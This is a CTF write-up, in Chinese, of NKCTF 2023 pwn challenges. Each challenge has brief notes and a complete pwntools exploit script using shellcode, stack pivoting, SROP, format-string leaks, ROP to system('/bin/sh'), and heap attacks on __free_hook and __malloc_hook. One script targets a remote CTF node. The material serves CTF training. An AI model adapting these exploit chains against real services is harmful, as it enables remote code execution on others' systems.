【Pwn】NKCTF 2023
前言
应该算是退役前的最后几场比赛了,越来越没精力学新的知识了捏
这场感觉出的最好的应该是only_read
和9961
这两题了,一道考察只有read
如何处理,一道考察shellcode
编写能力
ezshellcode
nop滑梯即可
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/03/24 23:04:49
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./pwn")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
shellcode = asm(shellcraft.read(0, 0x404180, 0x100)).rjust(0x100, b"\x90")
# dbg();pau()
sa("min!", shellcode)
shellcode = asm(shellcraft.sh())
sl(shellcode)
ia()
a_story_of_a_pwner
4个选择,前三个分别可以在连续的bss段写8*3字节的数据,可以考虑之后栈迁移到这里执行system("/bin/sh")
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/03/25 13:25:36
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./pwn")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
cmd = lambda idx: sla(">", str(idx))
cmd(4)
ru("0x")
libc.address = leak(i16(r(len("7faa8b58aed0"))) - libc.sym["puts"], "libc_base")
cmd(2)
s(p64(0x0000000000401573)) # pop rdi
cmd(1)
s(p64(next(libc.search(b"/bin/sh\x00"))))
cmd(3)
s(p64(libc.sym["system"]))
# 4050A8 1
# 4050A0 2
# 4050B0 3
cmd(4)
# dbg();pau()
s(b"b"*0xa + p64(0x4050A0-8) + p64(0x40139E))
ia()
ez_stack
某次国赛类似的题目,藏了一个mov rax 0xf;ret
的gadget。使用两次srop即可
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/03/24 23:51:31
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./ez_stack")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
data_addr = 0x404020
mov_eax_0xf_ret = 0x0000000000401147 # mov eax, 0xf ; ret
syscall_ret = 0x40114E
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = data_addr
sigframe.rdx = 0x400
sigframe.rip = syscall_ret
sigframe.rsp = data_addr
sigframe.rbp = data_addr
payload = cyclic(0x10 + 8) + p64(mov_eax_0xf_ret) + p64(syscall_ret) + bytes(sigframe)
sla('CTF!', payload)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = data_addr + 0x200
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
sigframe.rsp = data_addr + 0x18
payload = p64(mov_eax_0xf_ret) + p64(syscall_ret) + bytes(sigframe)
payload = payload.ljust(0x200, b'\x00')
payload += b'/bin/sh\x00'
sl(payload)
ia()
baby_rop
第一次fmt泄露canary,然后ret addr回到vuln的位置
第二次fmt泄露setbuf附近的地址,获取libc基地址,同时构造rop链
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/03/26 09:53:34
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./nkctf_message_boards")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
sl("%41$p%p")
ru("0x")
canary = leak(i16(r(len("15168f18b754e700"))), "canary")
ret = 0x000000000040101a
pop_rdi = 0x0000000000401413
call_vuln = 0x401390
ret_addr = 0x4012B6
payload = p64(ret) * (0xf0 // 8) + p64(call_vuln) + p64(canary)
s(payload)
sl("%35$p")
ru("0x")
ru("0x")
setbuf = leak(i16(r(len("7fb673a08de5"))) - 261, "setbuf")
libc.address = setbuf - libc.sym["setvbuf"]
binsh = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.sym["system"]
payload = p64(ret) * ((0xf8-8*3) // 8) + p64(pop_rdi) + p64(binsh) + p64(system_addr) + p64(canary)
# dbg();pau()
s(payload)
ia()
9961code
22字节的shellcode编写,cdq的骚操作可以让edi置为0
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/03/26 14:23:41
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./pwn")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
# dbg();pau()
shellcode = '''
xor rsi, rsi
lea rdi, [r15 + 0xe]
cdq
mov ax, 59
syscall
'''
shell = asm(shellcode) + b"/bin/sh\x00"
print(len(shell))
s(shell)
ia()
baby_heap
off by one的漏洞,上面的堆块修改下方堆块的size,构成堆块重叠,最后打__free_hook
注意2.32版本需要对齐0x10字节(不过这个版本的free_hook就是0结尾的,所以误伤大雅。之所以有这个注意是打这题的时候用了2.36的libc。。。)
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/03/25 00:35:34
# -----------------------------------
# * https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./pwn")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
def pack(pos, ptr):
return (pos >> 12) ^ ptr
cmd = lambda idx: sla("Your choice: ", str(idx))
def add(idx, size):
cmd(1)
sla("Enter the index:", str(idx))
assert int(size) <= 0x100
sla("Enter the Size: ", str(size))
def free(idx):
cmd(2)
sla("Enter the index:", str(idx))
def edit(idx, content):
cmd(3)
sla("Enter the index:", str(idx))
sa("Enter the content: ", content) #! off by one
def show(idx):
cmd(4)
sla("Enter the index:", str(idx))
add(0, 0x28)
add(1, 0x28)
add(2, 0xC8)
for i in range(3, 11):
add(i, 0xC8)
edit(0, b"b" * 0x28 + p8(0xF1))
free(1)
add(1, 0xE8)
show(1)
heap_base = leak((uu64(rl()) >> 8) << 12, "heap_base")
for i in range(3, 10):
free(i)
free(2)
edit(1, b"b" * 48 + b"\n")
show(1)
fd = l64()
libc.address = leak(fd - (0x00007F7FE2952C0A - 0x7F7FE276F000), "libc")
edit(1, b"\x00" * 8 * 5 + p64(0xD1) + p64(fd - 0xA) * 2 + b"\n")
add(3, 0x20)
add(4, 0x20)
free(4)
free(3)
info(heap_base + 0x2F0, "cur")
edit(1, b"b" * 55 + b"\n")
show(1)
rl()
bk = leak(uu64(r(8)), "bk")
edit(
1,
p64(0) * 5
+ p64(0x31)
+ p64(pack(heap_base, libc.sym["__free_hook"]))
+ p64(bk)
+ b"\n",
)
add(3, 0x20)
add(4, 0x20)
edit(4, p64(libc.sym["system"]) + b"\n")
edit(0, b"/bin/sh\x00" + b"\n")
free(0)
# dbg()
ia()
only_read
这题就很经典了,只有read的操作,怎么才能获取地址呢?
如果这题开了PIE又怎么办呢?
2022的祥云杯给出了答案,无非就是1/4096的几率爆破。。
但是这题没开PIE,所以操作空间打了很多。
首先需要直到一个概念,使用__libc_start_main
启动的函数会在栈中残留libc附近的地址。这也就是为什么main函数的stack中有那么多的残留libc的地址的原因了。
所以这一题的一个思路就是先栈迁移,迁移后调用__libc_start_main
去执行next()
函数,这样不仅能够执行read,同时又在bss段中写入了libc残存的地址
之后配合一个magic gadget进行任意地址加,通过将libc中的地址加至one_gaget,最后一路ret到这个one_gadget完成pwn击!
而这个神奇的gadget就是,并且这个gadget一定存在在使用__libc_start_main
启动的程序中(高版本libc不使用__libc_start_main启动)
0x40117c add dword ptr [rbp - 0x3d] ebx;nop;ret;
上述gadget可以让[rbp - 0x3d]中存放的值加上ebx中的值
而rbp和rbx可以通过csu的gadget进行控制
.text:000000000040167A pop rbx .text:000000000040167B pop rbp .text:000000000040167C pop r12 .text:000000000040167E pop r13 .text:0000000000401680 pop r14 .text:0000000000401682 pop r15 .text:0000000000401684 retn
如果我们[rbp - 0x3d]
位置上是一个libc中的地址,将其加上rbx后变成one_gadget的地址,那么one_gadget就被写入到stack中了
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/03/26 10:36:09
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
from base64 import b64encode as enc
# context.log_level = "debug"
init("./pwn")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
s(enc(b"Welcome to NKCTF!").ljust(0x30, b"\x00"))
s(enc(b"tell you a secret:").ljust(0x30, b"\x00"))
s(enc(b"I'M RUNNING ON GLIBC 2.31-0ubuntu9.9").ljust(0x40, b"\x00"))
s(enc(b"can you find me?").ljust(0x40, b"\x00"))
pop_rdi = 0x0000000000401683
pop_rsi_r15 = 0x0000000000401681
ret = 0x000000000040101a
bss = 0x404500
leave_ret = 0x401615
__libc_start_main = 0x4010D8
#! 0x40117c add dword ptr [rbp - 0x3d] ebx;nop;ret;
add_rbp_0x3d_ebx_nop_ret = 0x40117c
#! 0x40167a
'''
.text:000000000040167A pop rbx
.text:000000000040167B pop rbp
.text:000000000040167C pop r12
.text:000000000040167E pop r13
.text:0000000000401680 pop r14
.text:0000000000401682 pop r15
.text:0000000000401684 retn
'''
pop_rbx_rbp_r12_r13_r14_r15 = 0x40167a
s(b"b"*0x30 + flat([
bss,
pop_rdi,0,
pop_rsi_r15, bss, 0,
elf.sym["read"],
leave_ret
]))
time.sleep(1)
s(flat([
0x404438-8,
pop_rdi, 0x4013C8,
__libc_start_main
]))
time.sleep(1)
s(b"\x00"*0x30 + flat([
0x404438-8, # rbp
pop_rdi, 0x4013C8,
__libc_start_main
]))
time.sleep(1)
s(b"\x00"*0x30 + flat([
0x404438-8, # rbp
pop_rdi, 0,
pop_rbx_rbp_r12_r13_r14_r15,
0xfffffffffffd5b2c, 0x404465, 0, 0, 0, 0, # let read+18 to ogg
add_rbp_0x3d_ebx_nop_ret,
]) + p64(ret) * 10)
ia()
ByteDance
原题,原理是scanf接收大字符的时候会进行malloc_consolidate,通过堆风水进行构造
# coding=utf8
from pwn import *
# context.log_level = "debug"
local = 0
bin = ELF("./pwn02")
libc = ELF(
"/home/woodwhale/workspace/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
)
if local:
cn = process("./heapstorm_zero")
else:
cn = remote("node2.yuzhian.com.cn", 35430)
# result = (unsigned int)(a1 - 1) <= 0x37;
def add(size, con):
cn.recvuntil("Choice:")
cn.sendline("1")
cn.recvuntil("size:")
cn.sendline(str(size))
cn.recvuntil("content:")
cn.sendline(con)
def view(idx):
cn.recvuntil("Choice:")
cn.sendline("2")
cn.recvuntil("index:")
cn.sendline(str(idx))
def dele(idx):
cn.recvuntil("Choice:")
cn.sendline("3")
cn.recvuntil("index:")
cn.sendline(str(idx))
def triger_consolidate(pay=""):
cn.recvuntil("Choice:")
if pay == "":
cn.sendline("1" * 0x400) # malloc_consolidate
add(0x38, "a") # 0
add(0x28, "a") # 1
add(0x28, "a") # 2
add(0x18, "a") # 3
add(0x18, "a") # 4
add(0x38, "x") # 5
add(0x28, "x") # 6
add(0x38, "x") # 7
add(0x38, "x") # 8
add(0x38, "x") # 9
pay = "a" * 0x20 + p64(0x200) + p64(0x20)
add(0x38, pay) # 10
add(0x38, "end") # 11
for i in range(1, 11):
dele(i)
triger_consolidate()
dele(0)
pay = "a" * 0x38
add(0x38, pay) # 0
add(0x38, "a" * 8) # 1
add(0x38, "b" * 8) # 2
add(0x38, "c" * 8) # 3
add(0x38, "x") # 4
add(0x38, "x") # 5
add(0x28, "x") # 6
add(0x38, "x") # 7
add(0x38, "x") # 8
dele(1)
dele(2)
dele(3)
triger_consolidate()
dele(11)
triger_consolidate()
add(0x28, "a") # 1
add(0x28, "a") # 2
add(0x18, "a") # 3
add(0x18, "a") # 9
add(0x38, "1" * 0x30) # 10
add(0x38, "2" * 0x30) # 11
add(0x28, "3" * 0x30) # 12
add(0x38, "4" * 0x30) # 13
add(0x38, "5" * 0x30) # 14
pay = "a" * 0x20 + p64(0x200) + p64(0x20)
add(0x38, pay) # 15
add(0x38, "end") # 16
dele(1)
dele(2)
dele(3)
for i in range(9, 16):
dele(i)
triger_consolidate()
dele(0)
pay = "a" * 0x38
add(0x38, pay) # 0
add(0x38, "a" * 8) # 1
add(0x38, "b" * 8) # 2
add(0x38, "c" * 8) # 3
view(4)
cn.recvuntil("Content: ")
lbase = u64(cn.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0x3C4B20 - 88
success("lbase: " + hex(lbase))
dele(1)
dele(2)
dele(3)
triger_consolidate()
add(0x18, "A" * 0x10) # 1
add(0x28, "B" * 0x20) # 2
add(0x38, "C" * 0x30) # 3
add(0x18, "D" * 0x10) # 9
pay = p64(0) + p64(0x41)
add(0x18, pay) # 6
add(0x28, "asd")
add(0x38, "zxc") # 5,c
add(0x28, "qqq") # 6,d
add(0x38, "a1") # 14
add(0x28, "a2") # 15
# fastbin dup
dele(5)
dele(14)
dele(0xC)
dele(6)
dele(15)
dele(0xD)
add(0x28, p64(0x41))
add(0x28, "a")
add(0x28, "a")
add(0x38, p64(lbase + 0x3C4B20 + 8))
add(0x38, "a")
add(0x38, "a")
add(0x38, p64(lbase + 0x3C4B20 + 8 + 0x20) + "\x00" * 0x10 + p64(0x41))
add(0x38, "\x00" * 0x20 + p64(lbase + libc.sym["__malloc_hook"] - 0x18))
add(0x18, "a" * 0x18)
add(0x18, p64(lbase + 0xF03A4) * 2)
# print("here")
# gdb.attach(cn)
# pause()
cn.recvuntil("Choice:")
cn.sendline("1")
cn.recvuntil("size:")
cn.sendline(str(0x18))
cn.interactive()